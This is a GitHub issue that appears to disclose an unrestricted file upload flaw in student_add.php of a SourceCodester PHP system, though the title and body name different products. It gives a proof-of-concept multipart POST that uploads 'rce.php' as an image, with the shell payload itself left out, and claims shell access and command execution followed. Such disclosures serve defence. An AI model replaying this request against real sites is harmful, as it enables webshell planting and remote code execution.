Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SourceCodester Home Clean Service System in PHP Free Source Code 1.0 student_add.php Unrestricted Upload #5

Open
1097hzy opened this issue Apr 17, 2024 · 0 comments

Comments

@1097hzy
Copy link

1097hzy commented Apr 17, 2024

SourceCodester Home Clean Service System in PHP Free Source Code 1.0 student_add.php Unrestricted Upload

NAME OF AFFECTED PRODUCT(S)

  • Library System using PHP/MySQli with Source Code

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • fengxiangdi

Vulnerable File

  • student_add.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • File upload

Root Cause

  • The input obtained from line 8 of the \admin\student.add.php file is used to determine the location of the file to be written, which may allow attackers to modify or damage the content of the file, or create a brand new file.
  • 3

Impact

  • Attackers can exploit this vulnerability for unrestricted uploads, and remote attacks may result in RCE.

DESCRIPTION

  • Fengxiangdi found that the file upload operation was triggered in student.add.php, and the _FAILE variable was used to receive the payload. After receiving the attack vector from a remote attacker, it will result in unrestricted uploads, and remote attacks may lead to RCE.

Vulnerability details and POC

Payload

  • The picture I uploaded here is a photo of carrying a Trojan horse, but due to character confusion, I took a screenshot directly.
  • 5
POST /admin/student_add.php HTTP/1.1
Host: localhost
Content-Length: 2498
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.libsystem.com:8103
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryofX7Z9Ez1nJnPqJ5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://www.libsystem.com:8103/admin/student.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryofX7Z9Ez1nJnPqJ5
Content-Disposition: form-data; name="firstname"

www
------WebKitFormBoundaryofX7Z9Ez1nJnPqJ5
Content-Disposition: form-data; name="lastname"

www
------WebKitFormBoundaryofX7Z9Ez1nJnPqJ5
Content-Disposition: form-data; name="course"

2
------WebKitFormBoundaryofX7Z9Ez1nJnPqJ5
Content-Disposition: form-data; name="photo"; filename="rce.php"
Content-Type: image/jpeg

Node:Sorry, due to some coding reasons, I am unable to use markdown to store image data with attack payloads here.

------WebKitFormBoundaryofX7Z9Ez1nJnPqJ5
Content-Disposition: form-data; name="add"


------WebKitFormBoundaryofX7Z9Ez1nJnPqJ5--

  • I successfully connected using shell tools
  • 1
  • I successfully executed the ipconfig command using shell tools
  • 4
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant